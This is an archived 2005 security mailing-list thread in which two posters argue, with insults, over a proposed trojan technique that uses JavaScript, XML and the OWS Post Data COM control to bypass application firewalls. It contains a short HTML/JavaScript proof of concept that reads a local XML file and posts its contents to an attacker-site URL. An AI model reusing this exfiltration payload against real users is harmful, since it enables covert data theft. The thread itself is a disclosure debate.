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RE: new attack technique? using JavaScript+XML+OWSPost Data


From: "Debasis Mohanty" <mail () hackingspirits com>
Date: Thu, 22 Dec 2005 22:37:50 +0530

Keep it up moron !!  

oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years 
kidder than u)

Shit !! Another several years ppl has to tolerate your stupidity till you
actuall _grow up_. 

Tell me one thing, a Windows XP + Offfice XP + Internet explorer 
combination so rare ?

Is this a new topic ?? I mean are you done with your firewall and some
weired trojan design :P


- D


-----Original Message-----
From: gkverma () gmail com [mailto:gkverma () gmail com] On Behalf Of Gaurav Kumar
Sent: Thursday, December 22, 2005 10:23 PM
To: Debasis Mohanty
Cc: full-disclosure () lists grok org uk
Subject: Re: [Full-disclosure] new attack technique? using
JavaScript+XML+OWSPost Data

typo- i am 22 and YOU ARE 27, so i am 5 years kidder than u.

On 12/22/05, Gaurav Kumar <gaurav () securebox org> wrote:
oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years 
kidder than u)

The _real_ thing is that I proved the point.
U told win xp will give access denied error. I proved u wrong with the 
proof attached.
U told above technique wont work...i proved u wrong.
Tell me one thing, a Windows XP + Offfice XP + Internet explorer 
combination so rare ?

Is that all making ur ego shattered?

...and u are no one to decide what should one disuss on this list.

regards,
gaurav



On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:
Kid,
Although I normally don't reply to such frivilous and lame 
statements but your reply has seriously piss me off.. So dropping 
few lines, perhaps will help you grow up !!

-----Original Message-----
From: Gaurav Kumar brazenly wrote:

Looks like u need to read again what i wrote. I didnt use the 
word
'spread'.

I don't have to !! I can still remember your priceless statements 
[1] + [2]
-

[1] A Trojan has been to be placed in a system running an 
application [1] firewall like Zone Alarm Pro etc.

[2] The target system must be having office XP and the user has to 
be [2] lured to view a webpage hosted by attacker.


ROFL !! May be you could just ask your l33t victim to send you his 
passwords and other info by email :P Don't forget to send him your 
l33t email ID - '@securebox.org'


[3] Moreover, u need not know if the target system is running ZA 
or
not...
[3] "the technique works even if firewall is not installed".

[4] I am discussing a possible 'design' of a trojan here, "doesnt 
matter
is ZA
[4] or any other FW is running on client".

Looking at statement [3] & [4], (especially the statement within 
double
quotes) just made me believe that you don't know what your are 
talking about unless you want to look like an idiot.


really? ever heard of IE exploits?

Priceless !!


Well..Exactly! i would suggest u read the 'assumptions' first, 
its an assumption that user will click yes to warning...like most
'normal'
users do.

Yet another priceless statement... Maybe you could just ask your 
l33t victim to click 'yes' to your l33t piece of code trying to 
download some l33t piece of shit which will fail to run and die like an
idiot.


I am sure you have enough l33t skills to strick back to keep your 
ego up2date however, I wud rather suggest if you have only your 
stupidity to share then feel free to take it offline and don't piss 
off everyone in this list. I would welcome you if you really want to 
strike back with some _serious_ technical stuff. (Note: make a note 
of _serious_ in the statement)

- D




-----Original Message-----
From: gkverma () gmail com [mailto:gkverma () gmail com] On Behalf Of 
Gaurav Kumar
Sent: Thursday, December 22, 2005 8:52 AM
To: Debasis Mohanty
Cc: full-disclosure () lists grok org uk; websecurity () webappsec org
Subject: Re: [WEB SECURITY] RE: [Full-disclosure] new attack technique?
using JavaScript+XML+OWSPost Data

On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:
-----Original Message-----
From: Gaurav Kumar
Sent: Wednesday, December 21, 2005 8:59 PM
To: full-disclosure () lists grok org uk
Cc: websecurity () webappsec org
Subject: [Full-disclosure] new attack technique? using
JavaScript+XML+OWSPost Data

1>> A Trojan has been to be placed in a system running an 
1>> application firewall like Zone Alarm Pro etc.

Assumptions:

2>> The target system must be having office XP and the user has to 
2>> be lured to view a webpage hosted by attacker.

3>> The Trojan can be designed to generate an xml file which will 
3>> contain the data to be sent out. The attacker will lure
the
3>> user to visit a website hosted by him.

Lol !! In a practical scenario, the attacker who spreads the 
worm/trojans himself is not aware in the initial stage which are 
the infected machines unless the trojan sends back the 
machine/user info back to the attacker. Now as you have already 
mentioned ZA is running then no data can be sent back to the 
attacker. So the attacker is clueless
which are those infected machines.

Looks like u need to read again what i wrote. I didnt use the word
'spread'.
Moreover, u need not know if the target system is running ZA or 
not...the technique works even if firewall is not installed. I am 
discussing a possible 'design' of a trojan here, doesnt matter is ZA 
or any other FW is running on client.

So the case of luring the user to visit the link is out of scope...

really? ever heard of IE exploits?


The site can have following HTML code-

Now coming back to technical stuff, You are trying to access a 
local file which will only be allowed if the site is in "Trusted 
Sites" or "Local Intranet" or "Local Security Zone" and activex not
marked safe.
The fact that *the client is also the server* is irrelevant.

Try uploading the script to some webserver and give a html 
extention; it will throw an _access denied_ error when the page 
loads (even on Win XP + SP1).

In case of any server side extention like *.asp, *.jsp etc, the 
user will be prompted that an malicious component is trying to 
load and ask for user permission.


<html>
<body>
The author is not responsible for any misuse, this PoC is for 
educational purpose only.
<object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
id="exp">
</object>
<script LANGUAGE=javascript>
var xmlDoc
xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load("c:\\note.xml");
xmlObj=xmlDoc.documentElement;
var a= xmlObj.firstChild.text;
exp.Post(0,"http://www.attackersite.com/input.asp",a);
</script>
</body>
</html>


The above code (works well on windows XP SP2) essentials calls 
"OWS Post Data" COM control to post the contents of note.xml 
(generated by trojan) to attackersite.com

IMHO, never conduct such tests in a "Intranet Zone" or "Local Zone"
and draw conclusion about "Internet Security Zone".

You may also link to know about this issue - 
http://support.microsoft.com/kb/317244/EN-US/


Essentially, the technique is breaking the basic functionality 
of application firewalls by using OWS Post Data as bridge for 
sending out the data using Javascript and XML.

Not Exactly !! I wud rather suggest you to do a little more 
research and draw any conclusion. Keep those _Security Zones_ in 
mind before you post anything...

Well..Exactly! i would suggest u read the 'assumptions' first, its 
an assumption that user will click yes to warning...like most 'normal'
users do.


- D






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